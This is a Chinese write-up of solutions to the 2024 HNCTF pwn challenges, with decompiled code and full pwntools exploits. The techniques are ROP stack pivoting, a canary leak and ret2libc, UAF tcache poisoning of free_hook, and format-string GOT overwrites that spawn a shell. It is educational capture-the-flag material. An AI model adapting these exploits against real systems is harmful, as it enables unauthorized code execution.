2024 HNCTF PWN(close ezpwn idea what beauty)

文章目录

  • close
  • ezpwn
    • 代码
    • 利用
    • exp
  • idea
    • 代码
    • exp
  • what
    • exp
  • beauty libc 2.35
    • IDA中文乱码解决
    • 代码
    • 思路
    • exp

close

int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("**********************************");
  puts("*     Welcome to the H&NCTF!     *");
  puts("**********************************");
  puts("*             *****              *");
  puts("*            *     *             *");
  puts("*           *  o o  *            *");
  puts("*          *    v    *           *");
  puts("*         *  *     *  *          *");
  puts("*         * * * * * * *          *");
  puts("**********************************");
  puts("*      Do you know close?        *");
  puts("**********************************");
  close(1);
  system("/bin/sh");
  return 0;
}

关闭标准输出,重定向即可

exec 1>&0
exec 1>&2

ezpwn

代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome to H&NCTF, my friend. What's your name?");
  vul();
  return 0;
}
int vul()
{
  char s[40]; // [esp+0h] [ebp-2Ch] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

利用

  1. 泄露rbp的内容(泄露栈地址)从而得到当前栈上缓存区的地址
  2. 再次输入,构造gadget和溢出rbp修改rbp为退出函数后main函数leave ret栈迁移的地址,即缓冲区上的地址,使得能够执行缓冲区的rop链 (执行system(“/bin/sh”))

exp

from pwn import *
#p=process("./pwn")
p=remote("hnctf.imxbt.cn",*)
#gdb.attach(p)
#pause()
context(arch="amd64")
getflag=p32(0x0804857D)
p.sendlineafter(b"What's your name?\n",b"\x11"*43)
p.recvuntil(b"\n")  
rbp=p.recv(4)#泄漏rbp的值,即栈地址
rbp=int.from_bytes(rbp,byteorder="little")-0x14-20
print("rbp ",hex(rbp))
pop_edi=p32(0x080486ca)  #0x080486ca
binsh=p32(rbp+20)
p.sendafter(b"\n",b"\x11"*24+p32(rbp+8)+getflag+binsh+b"/bin/sh\x00"+p32(rbp+8))
p.interactive()

idea

在这里插入图片描述
无随机化,got表可写

代码

int vuln()
{
  int v1; // [esp+8h] [ebp-30h]
  char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREF
  unsigned int v3; // [esp+2Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("How many bytes do you want me to read? ");
  get_n((int)nptr, 4u);
  v1 = atoi(nptr);
  if ( v1 > 32 )                                // 负数绕过
    return printf("No! That size (%d) is too large!\n", v1);
  puts("Ok, sounds good. I'll give u a gift!");
  gift();                                       // 格式化字符串
  printf("Give me %u bytes of data!\n", v1);
  getchar();
  get_n((int)nptr, v1);                         // 溢出
  return printf("What you said is: %s\n", nptr);
}

格式化字符串泄露canary,然后溢出修改,构造rop泄露libc地址,然后返回到vuln函数再进行一次rop修改返回地址为system

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = process('./vuln')
elf=ELF("./vuln")
context.terminal = ['tmux','splitw','-h']

gdb.attach(p,"b main")
p.sendlineafter(b"How many bytes do you want me to read? ",str(-1))
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!",b"%7$p")
p.recvuntil(b"\n")
canary=p.recv(10)
print("canary",canary)
canary=int(canary,16)
print("canary",hex(canary))
vuln=0x08048713
print(hex(elf.plt["puts"]))
print(hex(elf.got["puts"]))
payload=32*b"a"+p32(canary)+12*b"a"+p32(elf.plt["puts"])+p32(vuln)+p32(elf.got["puts"])
p.sendlineafter(b"bytes of data!",payload)

puts_addr = u32(p.recv(4))


libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')

p.sendlineafter(b"How many bytes do you want me to read? ",str(-1))
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!",b"%7$p")
payload=32*b"a"+p32(canary)+12*b"a"+p32(system)+p32(0)+p32(str_bin_sh)
p.sendlineafter(b"bytes of data!",payload)
p.interactive()


what

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

size无限制,然后free没有清零,UAF,atoi存在负数,越界读写
UAF然后show泄露libc地址,然后分配两个tcachebin,往free_hook-8分配,然后写/bin/sh和system地址
在这里插入图片描述

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./what')
elf=ELF("./what")
gdb.attach(p,"b main")
def add(size):
    p.sendlineafter(b"Enter your command:",str(1))
    p.sendlineafter(b"size",str(size))
def free():
    p.sendlineafter(b"Enter your command:",str(2))
def show(index):
    p.sendlineafter(b"Enter your command:",str(3))
    p.sendlineafter(b"please enter idx:",str(index))
def edit(index,content):
    p.sendlineafter(b"Enter your command:",str(4))
    p.sendlineafter(b"please enter idx:",str(index))  
    p.sendlineafter(b"Please enter your content:",content)


add(0x410)
add(0x10)
add(0x10)
free()
free()
free()
show(0)
p.recvuntil(b"Content:")
libc=u64(p.recv(6).ljust(8,b"\x00"))
print("libc",hex(libc))
system_addr=libc-0x39c880
free_hook=libc+0x1c48
edit(1,p64(free_hook-8))
add(0x410)
add(0x10)
add(0x10)
payload=b"/bin/sh\x00"+p64(system_addr)
edit(2,payload)
free()
p.interactive()

beauty libc 2.35

在这里插入图片描述

IDA中文乱码解决

在这里插入图片描述

代码

在这里插入图片描述
存在越界写,直接往上面got表写低字节造成偏移,然后接下来调用到该函数,看能触发其他漏洞利用
在这里插入图片描述

如果通过将atoi的got表修改为printf可以造成栈上格式化字符串

思路

在这里插入图片描述
为了走到格式化字符串那里,需要s1=yes,利用int类型赋值给char类型会截断绕过为0x73时return0,然后利用格式化字符串泄露地址,然后循环再次触发格式化字符串漏洞

在这里插入图片描述
修改got表的printf的最后一个字节为0x70

在这里插入图片描述

格式化字符串同时转换为字节流f"%{v}c%8$hhn".encode().ljust(0x10,b"a")
如果是写入零字节呢,直接%8$hhn即可

%0c是printf系列函数中的一个格式说明符,用于输出单个字符。在%0c中,0作为填充符在这里实际上并不起作用,因为%c本身就只处理一个字符,不管前面的数字是多少,它都只会输出一个字符或者在字符不存在时输出nothing(即不输出任何东西)。因此,%0c%c的效果相同,都会根据提供的参数输出一个字符。

exp

from pwn import *
 
context(arch='amd64', os='linux',log_level='debug')
p=process("./pwn")
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

# gdb.attach(p)

def vuln_printf(payload):
    p.sendlineafter(b"Would you choose me if you had to do it all over again?",str(0x79))
    p.sendline(str(0x65))
    p.sendline(str(0x173))
    p.sendlineafter(b"How many years will you be with me this time???\n",payload)                  


def bre():
    p.sendlineafter("4. 彭仙女\n",str(4))
    p.sendline(str(0x73))

p.sendlineafter(b"Please input your idx:\n",str(-0xf8))
p.sendlineafter(b"Please input your name:\n",b"a"*0x6f)

p.sendlineafter("4. 彭仙女\n",str(4))
vuln_printf(b"%9$p %13$p %23$p ")  
stack=int(p.recvuntil(" ",drop=True),16)+0x28
elf.address=int(p.recvuntil(" ",drop=True),16)-0x18b2
libc.address=int(p.recvuntil(" ",drop=True),16)-0x29d90

pop_rdi_ret=0x000000000002a3e5+libc.address
ret=0x000000000002a3e6+libc.address
print(hex(stack),hex(elf.address),hex(libc.address))

binsh=next(libc.search(b'/bin/sh\0'))
payload=p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(libc.sym["system"])
for i,v in enumerate(payload):
    if v==0:
        p.sendlineafter("4. 彭仙女\n",str(4))
        fmt= b"%8$hhn".ljust(0x10,b"a")+p64(stack+i)
        vuln_printf(fmt)
    else :
        p.sendlineafter("4. 彭仙女\n",str(4))
        fmt= f"%{v}c%8$hhn".encode().ljust(0x10,b"a")+p64(stack+i)
        vuln_printf(fmt)
bre()
p.interactive()


在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/802888.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是页分裂?insert 操作对 B+ 树结构的改变是什么样的?

什么是页分裂? 如果我们使用非自增主键,由于每次插入主键的索引值都是随机的(比如 UUID),因此每次插入新的数据时,就可能会插入到现有数据页中间的某个位置,这将不得不移动其它数据来满足新数据…

浅谈Visual Studio 2022

Visual Studio 2022(VS2022)提供了众多强大的功能和改进,旨在提高开发者的效率和体验。以下是一些关键功能的概述:12 64位支持:VS2022的64位版本不再受内存限制困扰,主devenv.exe进程不再局限于4GB&#xf…

安防视频监控/视频汇聚EasyCVR平台浏览器http可以播放,https不能播放,如何解决?

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台基于云边端一体化架构,兼容性强、支持多协议接入,包括国标GB/T 28181协议、部标JT808、GA/T 1400协议、RTMP、RTSP/Onvif协议、海康Ehome、海康SDK、大华SDK、华为SDK、宇视SDK、乐橙SDK、萤石云SD…

[图解]企业应用架构模式2024新译本讲解27-层超类型3

1 00:00:01,020 --> 00:00:04,340 下一个就是更新家属数量 2 00:00:04,830 --> 00:00:09,140 它又找了一个ID为2的,拿出来 3 00:00:09,150 --> 00:00:09,800 然后更新 4 00:00:10,300 --> 00:00:11,770 没有什么新东西,一样的 5 00:00:1…

netxduo http server 创建回复以及json解析

我们今天要整http的response,比如我创建的http server,我对它发送了一个POST,然后服务器解析出json里的body,再回复过去。今天会用到json的解析库cjson以及postman去发送消息。这次用nx_web_http_server.h这个库,不用之前的nx_http_server.h 本教程在最后附带app_netxduo…

java通过jwt生成Token

定义 JWT(JSON Web Token)简而言之,JWT是一个加密的字符串,JWT传输的信息经过了数字签名,因此传输的信息可以被验证和信任。一般被用来在身份提供者和服务提供者间传递被认证用户的身份信息,以便于从资源服…

Flutter TextFiled频繁采集“剪切板信息”

在使用Flutter开发者,输入框是必不可少的功能,最近产品出了需要,要求输入框记住用户登录过的手机号,并在输入框输入时提示出来,这是个很基础的功能,但是在通过测试验收发布到应用市场时,被Vivo拒…

基于springboot和mybatis的RealWorld后端项目实战三之添加swagger

pom.xml添加依赖 <dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger2</artifactId><version>2.9.2</version></dependency><dependency><groupId>io.springfox</groupId><arti…

keepalived+haproxy实现nginx高可用

1.需求&#xff1a; 在之前我们使用的keepalivednginx的方案&#xff0c;架构如下&#xff1a; 该方案的缺点是资源使用率不高&#xff0c;只能在吞吐量不高的场景使用 第二种方案&#xff1a;haproxynginx&#xff0c;架构图如下&#xff1a; 这个会有单点故障&#xff0c;当…

鸿蒙语言基础类库:【@system.geolocation (地理位置)】

地理位置 说明&#xff1a; 从API Version 7 开始&#xff0c;该接口不再维护&#xff0c;推荐使用新接口[ohos.geolocation]。本模块首批接口从API version 3开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导入模块 import geolocation from …

css - - - - - 环形倒计时进度条实现

css - - - - - 环形倒计时进度条实现 1. 效果图展示2. 代码展示 1. 效果图展示 2. 代码展示 // html <view class"father"><view class"progress" style"--progress:{{red}}; --last:{{gray}}"></view> </view>// css …

SQL每日一题:查找重复的电子邮箱

题干 表: Person -------------------- | Column Name | Type | -------------------- | id | int | | email | varchar | -------------------- id 是该表的主键&#xff08;具有唯一值的列&#xff09;。 此表的每一行都包含一封电子邮件。电子邮件不包含大写字母。 编写解决…

鸿蒙语言基础类库:【@system.file (文件存储)】

文件存储 说明&#xff1a; 从API Version 6开始&#xff0c;该接口不再维护&#xff0c;推荐使用新接口[ohos.fileio]。本模块首批接口从API version 3开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导入模块 import file from system.file;f…

一套完整的养老院人员定位解决方案包含哪些内容?

养老院人员定位解决方案是建立面向社区及养老组织的传感网系统与信息渠道&#xff0c;并在此基础上提供实时、方便、高效、低成本的、物联化、互联化、智能化的养老服务。 人口老龄化问题早已成为当今社会关注的重要问题之一。在养老院封闭的环境&#xff0c;养老院希望利用智…

【数据结构】探索排序的奥秘

若有不懂地方&#xff0c;可查阅我之前文章哦&#xff01; 个人主页&#xff1a;小八哥向前冲~_csdn博客 所属专栏&#xff1a;数据结构_专栏 目录 排序的概念 几种排序方法介绍 冒泡排序 选择排序 插入排序 堆排序 向上调整建堆排序 向下调整建堆排序 希尔排序 快速…

sentinel网关限流配置及使用

sentinel控制台源码&#xff1a;https://download.csdn.net/download/yixin605691235/89543923 sentinel控制台jar包&#xff1a;https://download.csdn.net/download/yixin605691235/89543931 不同环境直接修改jar包中的application.yml文件中的nacos地址就可以了。 一、网关限…

算法2--贪心算法

1.老鼠和猫的交易 小老鼠准备了M磅的猫粮&#xff0c;准备去和看守仓库的猫做交易&#xff0c;因为仓库里有小老鼠喜欢吃的五香豆。 仓库有N个房间&#xff1b; 第i个房间有 J[i] 磅的五香豆&#xff0c;并且需要用 F[i] 磅的猫粮去交换&#xff1b; 老鼠不必交换该房间所有的五…

MySQL(3)表的操作

目录 1. 表的操作; 2. 数据类型; 1. 表的操作: 1.1 创建表: 语法: create table 表名( 属性 类型 [comment ], 属性 类型 [comment ], 属性 类型 ) character set 字符集 collate 校验集 engine 存储引擎; 前面博客提到: MyISAM和InoDB这两个比较重要. 1.2 查看表…

3. 序列生成

1.复习状态机&#xff0c;使用状态机实现序列生成 1.1 设计要求 用有限状态机生成序列001011&#xff0c;串行循环输出该序列。 1.2 设计代码&#xff0c;仿真及波形 状态机&#xff1a;不考虑状态简化的情况下&#xff0c;要输出的序列多少位&#xff0c;就用多少个状态&a…

简约唯美的404HTML源码

源码介绍 简约唯美的404HTML源码,很适合做网站错误页,将下面的源码放到一个空白的html里面,然后上传到服务器里面即可使用 效果预览 完整源码 <!DOCTYPE html> <html><head><meta charset="utf-8"><title>404 Error Example<…